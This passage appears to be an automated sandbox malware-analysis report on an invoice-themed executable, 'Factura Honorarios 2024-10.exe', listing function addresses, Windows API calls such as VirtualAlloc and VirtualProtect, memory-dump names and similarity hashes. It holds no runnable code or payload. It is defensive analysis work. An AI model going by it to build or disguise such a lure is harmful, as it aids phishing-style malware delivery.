Function 004059E3 Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000003,00402DA9,C:\Users\user\Desktop\Factura Honorarios 2024-10.exe,80000000,00000003,?,?,?,00000000,00403425,?), ref: 004059E7
CreateFileW.KERNELBASE(?,?,?,00000000,?,00000001,00000000,?,?,?,00000000,00403425,?), ref: 00405A09

Memory Dump Source

Source File: 00000000.00000002.2288899004.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2288874992.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288921148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Factura Honorarios 2024-10.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 4aea1d938fffc26f88db0c1450a16801fb26c1c2da6c6aae83084e0ba0c8a9b4
Instruction ID: 6e3fe12f06474a07815b5ea3b085539d8110fe4fc4e7b987d4d26a3482594277
Opcode Fuzzy Hash: 4aea1d938fffc26f88db0c1450a16801fb26c1c2da6c6aae83084e0ba0c8a9b4
Instruction Fuzzy Hash: 75D09E71658201EFEF098F20DE16F6EBBA2EB84B00F10962DB652940E0D6715815DB16

Function 004059BE Relevance: 3.0, APIs: 2, Instructions: 13COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,?,004055C3,?,?,00000000,00405799,?,?,?,?), ref: 004059C3
SetFileAttributesW.KERNEL32(?,00000000), ref: 004059D7

Memory Dump Source

Source File: 00000000.00000002.2288899004.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2288874992.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288921148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Factura Honorarios 2024-10.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 602326d4d9bd9ed3cd650c2996e001abd569afca198e3c7fdfe54113d0d0341f
Instruction ID: 23f3b5b08cf0a90752775bce35de55709fa588a0c5c1dd0fb40ccfe6c2119a3d
Opcode Fuzzy Hash: 602326d4d9bd9ed3cd650c2996e001abd569afca198e3c7fdfe54113d0d0341f
Instruction Fuzzy Hash: E6D01272908120EFC2102728EE0C89BBF95DB543B17118B72FD75A22F0D7304C52CAB6

Function 10002868 Relevance: 2.7, APIs: 2, Instructions: 156memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000), ref: 10002927
GetLastError.KERNEL32 ref: 10002A2E

Memory Dump Source

Source File: 00000000.00000002.2309234242.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2309207055.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2309259990.0000000010003000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2309283530.0000000010005000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Factura Honorarios 2024-10.jbxd

Similarity

API ID: AllocErrorLastVirtual
String ID:
API String ID: 497505419-0
Opcode ID: 56b0631d48e3d5b058df37f2c0bf37a0ba3bd5c787ddc121e10f68fdc3118472
Instruction ID: 346bc7c3d20138bcfc700b2b1684b28c90b224d1e8b0175626a50a5a3d135241
Opcode Fuzzy Hash: 56b0631d48e3d5b058df37f2c0bf37a0ba3bd5c787ddc121e10f68fdc3118472
Instruction Fuzzy Hash: 0E51A2BA905215DFFB10DFA4DC8275937A8EB443D4F22C42AEA049721DCF34A991CB55

Function 0040165E Relevance: 1.5, APIs: 1, Instructions: 38fileCOMMON

Download Yara Rule

APIs

MoveFileW.KERNEL32(00000000,00000000), ref: 00401679

Memory Dump Source

Source File: 00000000.00000002.2288899004.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2288874992.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288921148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Factura Honorarios 2024-10.jbxd

Similarity

API ID: FileMove
String ID:
API String ID: 3562171763-0
Opcode ID: b52732b034676bd900c8dd09e9d96c0449bda3180a08bab671966732f7de0c2e
Instruction ID: 083101987cfc82a6cf42c11d2d972b8aec6ba2fd7aec0dc483d5015516fa3923
Opcode Fuzzy Hash: b52732b034676bd900c8dd09e9d96c0449bda3180a08bab671966732f7de0c2e
Instruction Fuzzy Hash: A7F0B431A08220B3CB10ABB55F4DE8F62A89B6132DF34477BB512B21D1D6BC8901956F

Function 00402253 Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

WritePrivateProfileStringW.KERNEL32(00000000,00000000,?,00000000), ref: 0040228A

Memory Dump Source

Source File: 00000000.00000002.2288899004.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2288874992.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288921148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Factura Honorarios 2024-10.jbxd

Similarity

API ID: PrivateProfileStringWrite
String ID:
API String ID: 390214022-0
Opcode ID: ec4fb41ec1acd106f93cf616f3cd4c0d3577891546256094c6c4aadbcc0c0451
Instruction ID: 4332bbb19f5efe4f35bb732f6f353b7f8865d75a24debaa01da2fd7198b4a795
Opcode Fuzzy Hash: ec4fb41ec1acd106f93cf616f3cd4c0d3577891546256094c6c4aadbcc0c0451
Instruction Fuzzy Hash: 18E04F329041246ADB113EF20E8DE7F31689B44718B24427FF551BA1C2D5BC1D434669

Function 00402C44 Relevance: 1.5, APIs: 1, Instructions: 22registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(00000000,000004C8,00000000,00000022,00000000,?,?), ref: 00402C6C

Memory Dump Source

Source File: 00000000.00000002.2288899004.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2288874992.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288921148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Factura Honorarios 2024-10.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 699cda25c17bafbadca6f45bdb25344b0c8ec80eddbe54fe411ff33645398d31
Instruction ID: b4a940ff9d96c873bdf480266a19e34540b316432bd0f5e01798d68014561859
Opcode Fuzzy Hash: 699cda25c17bafbadca6f45bdb25344b0c8ec80eddbe54fe411ff33645398d31
Instruction Fuzzy Hash: 89E0BF76254108BAD700EFA5DD46F9677ECEB14745F008425B609D6091C674E5508768

Function 00405A66 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,000000FF,?,004031B1,00000000,00000000,00402FF1,000000FF,00000004,00000000,00000000,00000000), ref: 00405A7A

Memory Dump Source

Source File: 00000000.00000002.2288899004.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2288874992.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288921148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Factura Honorarios 2024-10.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 706c1f52c55adc451273f1d2a5d46862a6587a7fe095f8bbabcbc32b8b015297
Instruction ID: 68b9e35a43bd0b01ba0fc1ca952cb594bc8cf903dff1417d3183e578cb5b5c3a
Opcode Fuzzy Hash: 706c1f52c55adc451273f1d2a5d46862a6587a7fe095f8bbabcbc32b8b015297
Instruction Fuzzy Hash: 53E0EC3261425AEFDF50AEA59C44AEB7B6CFB053A0F004433FD15E7190D231E9219FA9

Function 1000278D Relevance: 1.5, APIs: 1, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(1000405C,00000004,00000040,1000404C), ref: 100027AB

Memory Dump Source

Source File: 00000000.00000002.2309234242.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2309207055.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2309259990.0000000010003000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2309283530.0000000010005000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Factura Honorarios 2024-10.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 872da592a6d7a810a82f92163ecc1a118f8c9402d7722bf40bb7f7edf15a1654
Instruction ID: 267fa8ad402a2f1685f06aa6efb9df116a04c7e31b4918ac066fddfc95f4d9be
Opcode Fuzzy Hash: 872da592a6d7a810a82f92163ecc1a118f8c9402d7722bf40bb7f7edf15a1654
Instruction Fuzzy Hash: 5EF092F15097A0DEF350DF688C847063BE0E7483C4B03852AE368F6268EB344044CF19

Function 0040159B Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE(00000000,?,000000F0), ref: 004015A6

Memory Dump Source

Source File: 00000000.00000002.2288899004.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2288874992.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288921148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Factura Honorarios 2024-10.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 2a616e06c792cf265676b57026b4e4a9577b39f593b79c63b522db00f6807e26
Instruction ID: 3a008f1eb1b1242b40efb84196f5f05472ca672afc8891d9c26caab598a60342
Opcode Fuzzy Hash: 2a616e06c792cf265676b57026b4e4a9577b39f593b79c63b522db00f6807e26
Instruction Fuzzy Hash: 88D012B2B08100D7CB10DFE5AA08ADDB7659B10339F304A77D101F21D0D2B8C5419A2A

Function 00404008 Relevance: 1.5, APIs: 1, Instructions: 9windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000000,00000000,00000000), ref: 0040401A

Memory Dump Source

Source File: 00000000.00000002.2288899004.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2288874992.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288921148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Factura Honorarios 2024-10.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: a4d713ec37b01fb01d6fe416f7f1015fc8604d13c1c7eace86c6fa01d5da54e1
Instruction ID: 7e6010ae37c62f63916f0126c22991c2454b69940bf40bafb173ceb87b5e62a9
Opcode Fuzzy Hash: a4d713ec37b01fb01d6fe416f7f1015fc8604d13c1c7eace86c6fa01d5da54e1
Instruction Fuzzy Hash: 14C04C717443007AEA308B60AD45F2A7754A758701F5444697300B50D0C674E411D61D

Function 00403FF1 Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000028,?,?,00403E1D), ref: 00403FFF

Memory Dump Source

Source File: 00000000.00000002.2288899004.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2288874992.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288921148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Factura Honorarios 2024-10.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
